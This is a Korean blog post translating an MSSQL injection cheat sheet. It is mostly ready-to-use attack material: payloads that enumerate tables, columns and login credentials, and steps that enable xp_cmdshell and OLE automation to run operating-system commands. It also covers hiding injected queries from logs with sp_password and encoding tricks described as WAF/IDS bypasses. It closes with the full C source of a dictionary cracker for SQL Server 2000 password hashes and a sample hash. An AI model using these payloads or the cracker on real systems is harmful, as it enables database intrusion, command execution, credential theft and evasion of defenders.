KOROMOON

착한 사마리아인이 되고 싶습니다.

10/26/2018

MSSQL Injection Cheet Sheet




아래 링크를 번역함. 



( 1 ) 기본 데이터베이스

pubs
MSSQL 2005 에서는 사용할 수 없음
model
모든 버전에서 사용 가능
msdb
모든 버전에서 사용 가능
tempdb
모든 버전에서 사용 가능
northwind
모든 버전에서 사용 가능
information_schema
MSSQL 2000 이상에서 사용 가능



( 2 ) 코멘트 아웃 쿼리(Comment Out Query)

여기서 코멘트 아웃(Comment Out)이란 디버그에서 자주 사용되는 방법으로 코멘트를 지시하는 문을 삽입하여 프로그램이나 명령어 집합의 일부를 일시적으로 사용하지 않는 것을 말함.

/*, */
C 스타일 주석
--
SQL 주석
;
널 바이트

:
SELECT * FROM Users WHERE username = '' OR 1=1 --' AND password = '';
SELECT * FROM Users WHERE id = '' UNION SELECT 1, 2, 3/*';



( 3 ) 버전 테스팅

@@VERSION

:
MSSQL 버전이 2008 인 경우 참임.
SELECT * FROM Users WHERE id = '1' AND @@VERSION LIKE '%2008%';

노트 :
결과값에 윈도우 운영 체제 버전도 포함됨.



( 4 ) 데이터베이스 자격 증명

데이터베이스..테이블
master..syslogins, master..sysprocesses
컬럼
name, loginame
현재 사용자
user, system_user, suser_sname(), is_srvrolemember('sysadmin')
데이터베이스 자격 증명
SELECT user, password FROM master.dbo.sysxlogins

:
현재 사용자 반환 :
SELECT loginame FROM master..sysprocesses WHERE spid=@@SPID;

사용자가 관리자인지 확인하십시오 :
SELECT (CASE WHEN (IS_SRVROLEMEMBER('sysadmin')=1) THEN '1' ELSE '0' END);



( 5 ) 데이터베이스 이름

데이터베이스.테이블
master..sysdatabases
컬럼
name
현재 데이터베이스
DB_NAME(i)

:
SELECT DB_NAME(5);
SELECT name FROM master..sysdatabases;



( 6 ) 서버 호스트 이름

@@SERVERNAME
SERVERPROPERTY()

:
SELECT SERVERPROPERTY('productversion'), SERVERPROPERTY('productlevel'), SERVERPROPERTY('edition');

노트 :
SERVERPROPERTY() MSSQL 2005 이상에서 사용할 수 있음.



( 7 ) 테이블과 컬럼

① 컬럼 수 결정

ORDER BY n+1;

:
주어진 쿼리 SELECT username, password, permission FROM Users WHERE id = '1';

1' ORDER BY 1--                   
1' ORDER BY 2--                   
1' ORDER BY 3--                   
1' ORDER BY 4--                   거짓 - 쿼리는 3 개의 컬럼만 사용함.
-1' UNION SELECT 1,2,3--         

노트 :
거짓 결과값이 출력될 때까지 번호를 계속 증가시킴.

다음은 현재 쿼리에서 컬럼을 가져오는데 사용할 수 있음.

GROUP BY / HAVING

:
주어진 쿼리 SELECT username, password, permission FROM Users WHERE id = '1';

1' HAVING 1=1--
'Users.username' 컬럼은 집계 함수 또는 GROUP BY 절에 포함되어 있지 않기 때문에 선택 목록에서 유효하지 않음.

1' GROUP BY username HAVING 1=1--
'Users.password' 컬럼은 집계 함수 또는 GROUP BY 절에 포함되어 있지 않기 때문에 선택 목록에서 유효하지 않음.

1' GROUP BY username, password HAVING 1=1--
'Users.permission' 컬럼은 집계 함수 또는 GROUP BY 절에 포함되어 있지 않기 때문에 선택 목록에서 유효하지 않음.

1' GROUP BY username, password, permission HAVING 1=1--
에러 없음.

노트 :
모든 컬럼이 포함되면 에러는 반환되지 않음.

② 테이블 검색

우리는 두 개의 서로 다른 데이터베이스(information_schema.tables 또는 master..sysobjects)에서 테이블을 검색할 수 있음.

Union

UNION SELECT name FROM master..sysobjects WHERE xtype='U'

Blind

AND SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables > 'A'

Error

AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables)
AND 1 = (SELECT TOP 1 table_name FROM information_schema.tables WHERE table_name NOT IN(SELECT TOP 1 table_name FROM information_schema.tables))

노트 :
Xtype = 'U' 는 사용자 정의 테이블임. 뷰에서는 'V' 를 사용할 수 있음.

③ 컬럼 검색

우리는 두 개의 서로 다른 데이터베이스(information_schema.tables 또는 master..sysobjects)에서 컬럼을 검색할 수 있음.

Union

UNION SELECT name FROM master..syscolumns WHERE id = (SELECT id FROM master..syscolumns WHERE name = 'tablename')

Blind

AND SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns > 'A'

Error

AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns)
AND 1 = (SELECT TOP 1 column_name FROM information_schema.columns WHERE column_name NOT IN(SELECT TOP 1 column_name FROM information_schema.columns))

④ 한 번에 여러 테이블/컬럼 검색

다음 세 가지 쿼리는 임시 테이블/컬럼을 만들고 모든 사용자 정의 테이블을 해당 테이블에 삽입함. 그런 다음 테이블 내용을 덤프하고 테이블을 삭제하여 마침.

임시 테이블/컬럼 만들기 및 데이터 삽입 :
AND 1=0; BEGIN DECLARE @xy varchar(8000) SET @xy=':' SELECT @xy=@xy+' '+name FROM sysobjects WHERE xtype='U' AND name>@xy SELECT @xy AS xy INTO TMP_DB END;

컨텐츠 덤프 :
AND 1=(SELECT TOP 1 SUBSTRING(xy,1,353) FROM TMP_DB);

테이블 삭제 :
AND 1=0; DROP TABLE TMP_DB;

더 쉬운 방법은 MSSQL 2005 이상부터 시작됨.
XML PATH() 함수는 하나의 쿼리로 모든 테이블을 검색할 수 있도록 연결자로 작동함.

SELECT table_name %2b ', ' FROM information_schema.tables FOR XML PATH('')
SQL Server 2005+

노트 :
쿼리를 16진수로 인코딩하여 공격을 난독화할 수 있음.
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x44524f50205441424c4520544d505f44423b AS VARCHAR(4000)); EXEC (@S);--



( 8 ) 인용 기호 피하기

SELECT * FROM Users WHERE username = CHAR(97) + CHAR(100) + CHAR(109) + CHAR(105) + CHAR(110)



( 9 ) 문자열 연결

SELECT CONCAT('a','a','a'); (SQL SERVER 2012)
SELECT 'a'+'d'+'mi'+'n';



( 10 ) 조건문

IF
CASE

:
IF 1=1 SELECT 'true' ELSE SELECT 'false';
SELECT CASE WHEN 1=1 THEN true ELSE false END;

노트 :
IF SELEC 문 내에서 사용할 수 없음.



( 11 ) 타이밍

WAITFOR DELAY 'time_to_pass';
WAITFOR TIME 'time_to_execute';

:
IF 1=1 WAITFOR DELAY '0:0:5' ELSE WAITFOR DELAY '0:0:0';



( 12 ) OPENROWSET 공격

SELECT * FROM OPENROWSET('SQLOLEDB', '127.0.0.1';'sa';'p4ssw0rd', 'SET FMTONLY OFF execute master..xp_cmdshell "dir"');



( 13 ) 시스템 명령어 실행

운영 체제 명령어를 실행하도록 하는 xp_cmdshell 확장 저장 프로시서를 포함시켜야 함.

EXEC master.dbo.xp_cmdshell 'cmd';

MSSQL 2005 이상 버전부터 xp_cmdshell 은 기본적으로 비활성화되어 있지만 다음 쿼리를 사용하여 활성화시킬 수 있음.

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'xp_cmdshell', 1
EXEC sp_configure reconfigure

또는, 동일한 결과를 얻기 위해 자체 프로시저를 만들 수 있음.

DECLARE @execmd INT
EXEC SP_OACREATE 'wscript.shell', @execmd OUTPUT
EXEC SP_OAMETHOD @execmd, 'run', null, '%systemroot%\system32\cmd.exe /c'

SQL 버전이 2000 보다 높으면 이전 명령을 실행하기 위해 추가 쿼리를 실행해야 함.

EXEC sp_configure 'show advanced options', 1
EXEC sp_configure reconfigure
EXEC sp_configure 'OLE Automation Procedures', 1
EXEC sp_configure reconfigure

:
xp_cmdshell 이 로드되어 활성화되어 있는지 확인한 다음 dir 명령어를 실행하여 그 결과값을 TMP_DB에 삽입함 :
' IF EXISTS (SELECT 1 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME='TMP_DB') DROP TABLE TMP_DB DECLARE @a varchar(8000) IF EXISTS(SELECT * FROM dbo.sysobjects WHERE id = object_id (N'[dbo].[xp_cmdshell]') AND OBJECTPROPERTY (id, N'IsExtendedProc') = 1) BEGIN CREATE TABLE %23xp_cmdshell (name nvarchar(11), min int, max int, config_value int, run_value int) INSERT %23xp_cmdshell EXEC master..sp_configure 'xp_cmdshell' IF EXISTS (SELECT * FROM %23xp_cmdshell WHERE config_value=1)BEGIN CREATE TABLE %23Data (dir varchar(8000)) INSERT %23Data EXEC master..xp_cmdshell 'dir' SELECT @a='' SELECT @a=Replace(@a%2B'<br></font><font color="black">'%2Bdir,'<dir>','</font><font color="orange">') FROM %23Data WHERE dir>@a DROP TABLE %23Data END ELSE SELECT @a='xp_cmdshell not enabled' DROP TABLE %23xp_cmdshell END ELSE SELECT @a='xp_cmdshell not found' SELECT @a AS tbl INTO TMP_DB--

컨텐츠 덤프 :
' UNION SELECT tbl FROM TMP_DB--

테이블 삭제 :
' DROP TABLE TMP_DB--



( 14 ) SP_PASSWORD (쿼리 숨기기)

쿼리 끝에 sp_password 를 추가하면 T-SQL 로그에서 sp_password 를 숨김.

SP_PASSWORD

:
' AND 1=1--sp_password

결과값 :
-- 'sp_password'는 이 이벤트의 텍스트에서 발견되었습니다.
-- 보안상의 이유로 텍스트에 주석으로 대체되었습니다.



( 15 ) 누적된 쿼리(Stacked Queries)

MSSQL 은 누적된 쿼리(Stacked Queries)를 지원함.

:
' AND 1=0 INSERT INTO ([column1], [column2]) VALUES ('value1', 'value2');



( 16 ) 퍼징(Fuzzing)과 난독화(Obfuscation)

① 허용된 중간 문자열

다음 문자는 공백으로 사용할 수 있음.

1
Start of Heading
2
Start of Text
3
End of Text
4
End of Transmission
5
Enquiry
6
Acknowledge
7
Bell
8
Backspace
9
Horizontal Tab
0A
New Line
0B
Vertical Tab
0C
New Page
0D
Carriage Return
0E
Shift Out
0F
Shift In
10
Data Link Escape
11
Device Control 1
12
Device Control 2
13
Device Control 3
14
Device Control 4
15
Negative Acknowledge
16
Synchronous Idle
17
End of Transmission Block
18
Cancel
19
End of Medium
1A
Substitute
1B
Escape
1C
File Separator
1D
Group Separator
1E
Record Separator
1F
Unit Separator
20
Space
25
%

:
S%E%L%E%C%T%01column%02FROM%03table;
A%%ND 1=%%%%%%%%1;

노트 :
키워드 간 백분율 기호는 ASP(X) 웹 응용 프로그램에서만 가능함.

공백을 사용하지 않으려면 다음 문자를 사용할 수도 있음.

22
28
(
29
)
5B
[
5D
]

:
UNION(SELECT(column)FROM(table));
SELECT"table_name"FROM[information_schema].[tables];

AND/OR 뒤에 허용되는 중간 문자열

01 - 20
Range
21
!
2B
+
2D
-
2E
.
5C
\
7E
~

:
SELECT 1FROM[table]WHERE\1=\1AND\1=\1;

노트 :
백슬러시는 MSSQL 2000 에서는 작동하지 않음.

③ 인코딩

주입을 인코딩하면 WAF/IDS 우회에 유용할 때도 있음.

URL Encoding
SELECT %74able_%6eame FROM information_schema.tables;
Double URL Encoding
SELECT %2574able_%256eame FROM information_schema.tables;
Unicode Encoding
SELECT %u0074able_%u6eame FROM information_schema.tables;
Invalid Hex Encoding (ASP)
SELECT %tab%le_%na%me FROM information_schema.tables;
Hex Encoding
' AND 1=0; DECLARE @S VARCHAR(4000) SET @S=CAST(0x53454c4543542031 AS VARCHAR(4000)); EXEC (@S);--
HTML Entities (Needs to be verified)
%26%2365%3B%26%2378%3B%26%2368%3B%26%2332%3B%26%2349%3B%26%2361%3B%26%2349%3B



( 17 ) 패스워드 해싱(Password Hashing)

암호는 0x0100 으로 시작하며 0x 다음에 오는 바이트는 첫 번째는 상수임.
다음 8 바이트는 해시 Salt 이고 나머지 80 바이트는 2 해시임.
여기서 첫 번째 40 바이트는 암호의 대/소문자를 구분하는 해시이고 두 번째 40 바이트는 대문자 버전임.

0x0100236A261CE12AB57BA22A7F44CE3B780E52098378B65852892EEE91C0784B911D76BF4EB124550ACABDFD1457



( 24 ) 패스워드 크랙(Password Cracking)

JTR Metasploit 모듈은 아래 링크에서 찾을 수 있음.

MSSQL 2000 Password Cracker

해당 코드는 Microsoft SQL Server 2000 암호를 해독하도록 설계됨.

/////////////////////////////////////////////////////////////////////////////////
//
//           SQLCrackCl
//
//           This will perform a dictionary attack against the
//           upper-cased hash for a password. Once this
//           has been discovered try all case variant to work
//           out the case sensitive password.
//
//           This code was written by David Litchfield to
//           demonstrate how Microsoft SQL Server 2000
//           passwords can be attacked. This can be
//           optimized considerably by not using the CryptoAPI.
//
//           (Compile with VC++ and link with advapi32.lib
//           Ensure the Platform SDK has been installed, too!)
//
//////////////////////////////////////////////////////////////////////////////////
#include <stdio.h>
#include <windows.h>
#include <wincrypt.h>
FILE *fd=NULL;
char *lerr = "\nLength Error!\n";
int wd=0;
int OpenPasswordFile(char *pwdfile);
int CrackPassword(char *hash);
int main(int argc, char *argv[])
{
                    int err = 0;
               if(argc !=3)
                         {
                                   printf("\n\n*** SQLCrack *** \n\n");
                                   printf("C:\\>%s hash passwd-file\n\n",argv[0]);
                                   printf("David Litchfield (david@ngssoftware.com)\n");
                                   printf("24th June 2002\n");
                                   return 0;
                         }
               err = OpenPasswordFile(argv[2]);
               if(err !=0)
                {
                  return printf("\nThere was an error opening the password file %s\n",argv[2]);
                }
               err = CrackPassword(argv[1]);
               fclose(fd);
               printf("\n\n%d",wd);
               return 0;
}
int OpenPasswordFile(char *pwdfile)
{
               fd = fopen(pwdfile,"r");
               if(fd)
                         return 0;
               else
                         return 1;
}
int CrackPassword(char *hash)
{
               char phash[100]="";
               char pheader[8]="";
               char pkey[12]="";
               char pnorm[44]="";
               char pucase[44]="";
               char pucfirst[8]="";
               char wttf[44]="";
               char uwttf[100]="";
               char *wp=NULL;
               char *ptr=NULL;
               int cnt = 0;
               int count = 0;
               unsigned int key=0;
               unsigned int t=0;
               unsigned int address = 0;
               unsigned char cmp=0;
               unsigned char x=0;
               HCRYPTPROV hProv=0;
               HCRYPTHASH hHash;
DWORD hl=100;
unsigned char szhash[100]="";
int len=0;
if(strlen(hash) !=94)
                 {
                         return printf("\nThe password hash is too short!\n");
                 }
if(hash[0]==0x30 && (hash[1]== 'x' || hash[1] == 'X'))
                 {
                         hash = hash + 2;
                         strncpy(pheader,hash,4);
                         printf("\nHeader\t\t: %s",pheader);
                         if(strlen(pheader)!=4)
                                   return printf("%s",lerr);
                         hash = hash + 4;
                         strncpy(pkey,hash,8);
                         printf("\nRand key\t: %s",pkey);
                         if(strlen(pkey)!=8)
                                   return printf("%s",lerr);
                         hash = hash + 8;
                         strncpy(pnorm,hash,40);
                         printf("\nNormal\t\t: %s",pnorm);
                         if(strlen(pnorm)!=40)
                                   return printf("%s",lerr);
                         hash = hash + 40;
                         strncpy(pucase,hash,40);
                         printf("\nUpper Case\t: %s",pucase);
                         if(strlen(pucase)!=40)
                                   return printf("%s",lerr);
                         strncpy(pucfirst,pucase,2);
                         sscanf(pucfirst,"%x",&cmp);
                 }
else
                 {
                         return printf("The password hash has an invalid format!\n");
                 }
printf("\n\n       Trying...\n");
if(!CryptAcquireContextW(&hProv, NULL , NULL , PROV_RSA_FULL                 ,0))
  {
                 if(GetLastError()==NTE_BAD_KEYSET)
                         {
                                   // KeySet does not exist. So create a new keyset
                                   if(!CryptAcquireContext(&hProv,
                                                        NULL,
                                                        NULL,
                                                        PROV_RSA_FULL,
                                                        CRYPT_NEWKEYSET ))
                                      {
                                               printf("FAILLLLLLL!!!");
                                               return FALSE;
                                      }
                  }
}
while(1)
                {
                  // get a word to try from the file
                  ZeroMemory(wttf,44);
                  if(!fgets(wttf,40,fd))
                     return printf("\nEnd of password file. Didn't find the password.\n");
                  wd++;
                  len = strlen(wttf);
                  wttf[len-1]=0x00;
                  ZeroMemory(uwttf,84);
                  // Convert the word to UNICODE
                  while(count < len)
                            {
                                      uwttf[cnt]=wttf[count];
                                      cnt++;
                                      uwttf[cnt]=0x00;
                                      count++;
                                      cnt++;
                            }
                  len --;
                  wp = &uwttf;
                  sscanf(pkey,"%x",&key);
                  cnt = cnt - 2;
                  // Append the random stuff to the end of
                  // the uppercase unicode password
                  t = key >> 24;
                  x = (unsigned char) t;
                  uwttf[cnt]=x;
                  cnt++;
                  t = key << 8;
                  t = t >> 24;
                x = (unsigned char) t;
                uwttf[cnt]=x;
                cnt++;
                t = key << 16;
                t = t >> 24;
                x = (unsigned char) t;
                uwttf[cnt]=x;
                cnt++;
                t = key << 24;
                t = t >> 24;
                x = (unsigned char) t;
                uwttf[cnt]=x;
                cnt++;
// Create the hash
if(!CryptCreateHash(hProv, CALG_SHA, 0 , 0, &hHash))
                {
                          printf("Error %x during CryptCreatHash!\n", GetLastError());
                          return 0;
                }
if(!CryptHashData(hHash, (BYTE *)uwttf, len*2+4, 0))
                {
                          printf("Error %x during CryptHashData!\n", GetLastError());
                          return FALSE;
                }
CryptGetHashParam(hHash,HP_HASHVAL,(byte*)szhash,&hl,0);
// Test the first byte only. Much quicker.
if(szhash[0] == cmp)
                {
                          // If first byte matches try the rest
                          ptr = pucase;
                          cnt = 1;
                          while(cnt < 20)
                          {
                                      ptr = ptr + 2;
                                      strncpy(pucfirst,ptr,2);
                                      sscanf(pucfirst,"%x",&cmp);
                                      if(szhash[cnt]==cmp)
                                               cnt ++;
                                      else
                                      {
                                               break;
                                      }
                          }
                          if(cnt == 20)
                          {
                               // We've found the password
                               printf("\nA MATCH!!! Password is %s\n",wttf);
                               return 0;
                            }
                    }
                    count = 0;
                    cnt=0;
                  }
  return 0;
}





============================================================

본 게시물은 KOROMOON 님께서 작성하였으며 CCL (Creative Commons License) 에서 "저작자표시-비영리-동일조건변경허락" 이용조건으로 자료를 이용하셔야 합니다.

댓글 없음:

댓글 쓰기